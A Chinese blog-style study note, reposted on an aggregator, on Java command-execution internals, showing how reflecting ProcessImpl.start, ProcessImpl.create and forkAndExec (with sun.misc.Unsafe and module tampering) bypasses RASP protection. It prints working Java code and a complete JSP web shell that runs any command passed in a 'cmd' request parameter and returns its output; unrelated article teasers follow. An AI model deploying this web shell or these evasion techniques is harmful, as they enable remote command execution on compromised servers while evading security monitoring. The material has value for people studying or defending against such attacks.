JavaSec基础命令执行

记录https://github.com/javaweb-sec/javaweb-sec的学习

CommandExecute

Runtime#exec

ProcessBuilder#start

以上两个最终都要调到ProcessImpl

而ProcessImpl会调用native的forkAndExec

实际最终都是调到Java_java_lang_ProcessImpl_forkAndExec

而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl实现命令执行或者直接反射UNIXProcess/ProcessImplforkAndExec方法就可以绕过RASP实现命令执行了。

但是我本地跟了一下 最终调的是Java_java_lang_ProcessImpl_create 并没有找到 Java_java_lang_ProcessImpl_forkAndExec

在linux下有forkAndExec

image-20240127135535440

image-20240127135551312

Java_java_lang_ProcessImpl_create(JNIEnv *env, jclass ignored,jstring cmd,jstring envBlock,jstring dir,jlongArray stdHandles,jboolean redirectErrorStream)
{jlong ret = 0;if (cmd != NULL && stdHandles != NULL) {const jchar *pcmd = (*env)->GetStringChars(env, cmd, NULL);if (pcmd != NULL) {const jchar *penvBlock = (envBlock != NULL)? (*env)->GetStringChars(env, envBlock, NULL): NULL;const jchar *pdir = (dir != NULL)? (*env)->GetStringChars(env, dir, NULL): NULL;jlong *handles = (*env)->GetLongArrayElements(env, stdHandles, NULL);if (handles != NULL) {ret = processCreate(env,pcmd,penvBlock,pdir,handles,redirectErrorStream);(*env)->ReleaseLongArrayElements(env, stdHandles, handles, 0);}if (pdir != NULL)(*env)->ReleaseStringChars(env, dir, pdir);if (penvBlock != NULL)(*env)->ReleaseStringChars(env, envBlock, penvBlock);(*env)->ReleaseStringChars(env, cmd, pcmd);}}return ret;
}

这里就不写Runtime和ProcessBuilder的了

反射ProcessImpl命令执行

package tem;import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;public class Exec {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {Class<?> clazz = Class.forName("java.lang.ProcessImpl");Method startMethod = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);startMethod.setAccessible(true);startMethod.invoke(null,new String[]{"calc"},null,null,null,false);}
}

高版本则需要用Unsafe绕过

package tem;import sun.misc.Unsafe;import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;public class Exec {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {Class<?> clazz = Class.forName("java.lang.ProcessImpl");Method startMethod = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");unsafeField.setAccessible(true);Unsafe unsafe = (Unsafe) unsafeField.get(null);Class cureentClass = Exec.class;unsafe.getAndSetObject(cureentClass,unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),Object.class.getModule());startMethod.setAccessible(true);startMethod.invoke(null,new String[]{"calc"},null,null,null,false);}
}

反射Java_java_lang_ProcessImpl_create命令执行

当ProcessImpl也不能用的时候可以考虑

过程如下

  1. 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建ProcessImpl类对象。
  2. 反射ProcessImpl类的create方法。
  3. 构造create需要的参数并调用。
package tem;import sun.misc.Unsafe;import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class NativeExec {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchMethodException, InvocationTargetException {// 获取ProcessImpl的实例Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");unsafeField.setAccessible(true);Unsafe unsafe = (Unsafe) unsafeField.get(null);Class<?> clazz = Class.forName("java.lang.ProcessImpl");Object o = unsafe.allocateInstance(clazz);Method createMethod = clazz.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);Class cureentClass = NativeExec.class;unsafe.getAndSetObject(cureentClass,unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),Object.class.getModule());createMethod.setAccessible(true);
//        Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(String[].class,String.class,String.class,long[].class,boolean.class,boolean.class);
//        declaredConstructor.setAccessible(true);
//        System.out.println(declaredConstructor);
//        Object p = declaredConstructor.newInstance(new String[]{"calc"}, null, null, new long[]{-1L,-1L,-1L}, false, false);
//        System.out.println(p);createMethod.invoke(null,"calc",null,null,new long[]{-1L,-1L,-1L},false);}
}

在linux下则是forkAndExec 这个直接抄了

过程如下

  1. 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。
  2. 反射UNIXProcess/ProcessImpl类的forkAndExec方法。
  3. 构造forkAndExec需要的参数并调用。
  4. 反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。
  5. 反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!byte[] toCString(String s) {if (s == null)return null;byte[] bytes  = s.getBytes();byte[] result = new byte[bytes.length + 1];System.arraycopy(bytes, 0,result, 0,bytes.length);result[result.length - 1] = (byte) 0;return result;}%>
<%String[] strs = request.getParameterValues("cmd");if (strs != null) {Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");theUnsafeField.setAccessible(true);Unsafe unsafe = (Unsafe) theUnsafeField.get(null);Class processClass = null;try {processClass = Class.forName("java.lang.UNIXProcess");} catch (ClassNotFoundException e) {processClass = Class.forName("java.lang.ProcessImpl");}Object processObject = unsafe.allocateInstance(processClass);// Convert arguments to a contiguous block; it's easier to do// memory management in Java than in C.byte[][] args = new byte[strs.length - 1][];int      size = args.length; // For added NUL bytesfor (int i = 0; i < args.length; i++) {args[i] = strs[i + 1].getBytes();size += args[i].length;}byte[] argBlock = new byte[size];int    i        = 0;for (byte[] arg : args) {System.arraycopy(arg, 0, argBlock, i, arg.length);i += arg.length + 1;// No need to write NUL bytes explicitly}int[] envc                 = new int[1];int[] std_fds              = new int[]{-1, -1, -1};Field launchMechanismField = processClass.getDeclaredField("launchMechanism");Field helperpathField      = processClass.getDeclaredField("helperpath");launchMechanismField.setAccessible(true);helperpathField.setAccessible(true);Object launchMechanismObject = launchMechanismField.get(processObject);byte[] helperpathObject      = (byte[]) helperpathField.get(processObject);int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{int.class, byte[].class, byte[].class, byte[].class, int.class,byte[].class, int.class, byte[].class, int[].class, boolean.class});forkMethod.setAccessible(true);// 设置访问权限int pid = (int) forkMethod.invoke(processObject, new Object[]{ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,null, envc[0], null, std_fds, false});// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);initStreamsMethod.setAccessible(true);initStreamsMethod.invoke(processObject, std_fds);// 获取本地执行结果的输入流Method getInputStreamMethod = processClass.getMethod("getInputStream");getInputStreamMethod.setAccessible(true);InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);ByteArrayOutputStream baos = new ByteArrayOutputStream();int                   a    = 0;byte[]                b    = new byte[1024];while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}out.println("<pre>");out.println(baos.toString());out.println("</pre>");out.flush();out.close();}
%>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/434268.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

单调栈第二天(还没写完)

503.下一个更大元素II 力扣题目链接(opens new window) 给定一个循环数组&#xff08;最后一个元素的下一个元素是数组的第一个元素&#xff09;&#xff0c;输出每个元素的下一个更大元素。数字 x 的下一个更大的元素是按数组遍历顺序&#xff0c;这个数字之后的第一个比它更…

一、对人工智能大模型了解与认知

黑8说 月黑风高&#xff0c;乌云密布&#xff0c;树木低垂&#xff0c;黯淡沉闷。这黎明前的风暴&#xff0c;预示着新时代的变革即将到来。 在一个8线小城市的办公室中 黑8对主任说&#xff1a; 世界上有男人、女人、人妖&#xff0c;米国有1/3男&#xff0c;2/3女…&#xff…

Scratch:启蒙少儿编程的图形化魔法

在当今这个数字化时代&#xff0c;编程已经成为了一项重要的基础技能。就像学习阅读和写作一样&#xff0c;掌握编程能够打开通往未来世界的大门。对于孩子们来说&#xff0c;Scratch作为一种图形化编程语言&#xff0c;不仅简单有趣&#xff0c;而且非常适合作为编程学习的入门…

VS生成报错:MSB8036 The Windows SDK version 8.1 was not found.找不到 Windows SDK 版本 8.1

目录 一、查看本机SDK二、 解决法一&#xff1a;适配本电脑的SDK法二&#xff1a;下载SDK 8.1 VS生成报错&#xff1a;MSB8036 找不到 Windows SDK 版本 8.1。请安装所需版本的 Windows SDK&#xff0c;或者在项目属性页中或通过右键单击解决方案并选择“重定解决方案目标”来更…

解决 [Vue warn]:Avoid mutating a prop directly 警告

错误信息 [Vue warn]: Avoid mutating a prop directly since the value will be overwritten whenever the parent component re-renders. Instead, use a data or computed property based on the prop’s value. Prop being mutated: “xxx” 错误原因 所有的 prop 都使得…

感谢有你,1Panel开源面板项目致敬社区开发者

2024年1月24日&#xff0c;1Panel开源面板项目GitHub Star数成功突破15,000大关。 1Panel开源项目&#xff08;https://github.com/1Panel-dev&#xff09;于2023年3月20日正式发布。作为一款现代化、开源的Linux服务器运维管理面板&#xff0c;1Panel旨在通过开源的方式&…

臻于至善,CodeArts Snap 二维绘图来一套不?

前言 我在体验 华为云的 CodeArts Snap 时&#xff0c;第一个例子就是绘制三角函数图像&#xff0c;功能注释写的也很简单。 业务场景中&#xff0c;有一类就是需要产出各种二维图形的&#xff0c;比如&#xff0c;折线图、散点图、柱状图等。 为了提前积累业务素材&#xf…

iOS推送通知

文章目录 一、推送通知的介绍1. 简介2. 通知的分类 二、本地通知1. 本地通知的介绍2. 实现本地通知3. 监听本地通知的点击 三、远程通知1. 什么是远程通知2. 为什么需要远程通知3. 远程通知的原理4. 如何做远程通知5. 远程通知证书配置6. 获取远程推送要用的 DeviceToken7. 测试…

【JavaEE进阶】 数据库连接池与MySQL企业开发规范

文章目录 🌴数据库连接池🎋数据库连接池的使用🎄MySQL企业开发规范⭕总结🌴数据库连接池 数据库连接池负责分配、管理和释放数据库连接,它允许应⽤程序重复使⽤⼀个现有的数据库连接,⽽不是再重新建⽴⼀个. 没有使⽤数据库连接池的情况:每次执⾏SQL语句,要先创建⼀…

OpenHarmony—类型转换仅支持as T语法

规则&#xff1a;arkts-as-casts 级别&#xff1a;错误 在ArkTS中&#xff0c;as关键字是类型转换的唯一语法&#xff0c;错误的类型转换会导致编译时错误或者运行时抛出ClassCastException异常。ArkTS不支持使用语法进行类型转换。 当需要将primitive类型&#xff08;如num…

DS:单链表的实现(超详细!!)

创作不易&#xff0c;友友们点个三连吧&#xff01; 在博主的上一篇文章中&#xff0c;很详细地介绍了顺序表实现的过程以及如何去书写代码&#xff0c;如果没看过的友友们建议先去看看哦&#xff01; DS&#xff1a;顺序表的实现&#xff08;超详细&#xff01;&#xff01;&…

交叉导轨为何要保持日常清洁?

在工业自动化的发展中&#xff0c;交叉导轨因其具有精度高、高刚性、高耐磨性等特点&#xff0c;在数控技术的发展中得到了越来越多的使用&#xff0c;对于交叉导轨来说&#xff0c;保持日常清洁对其性能和寿命具有重要意义。 1、防止灰尘和杂质的侵入&#xff1a;交叉导轨在机…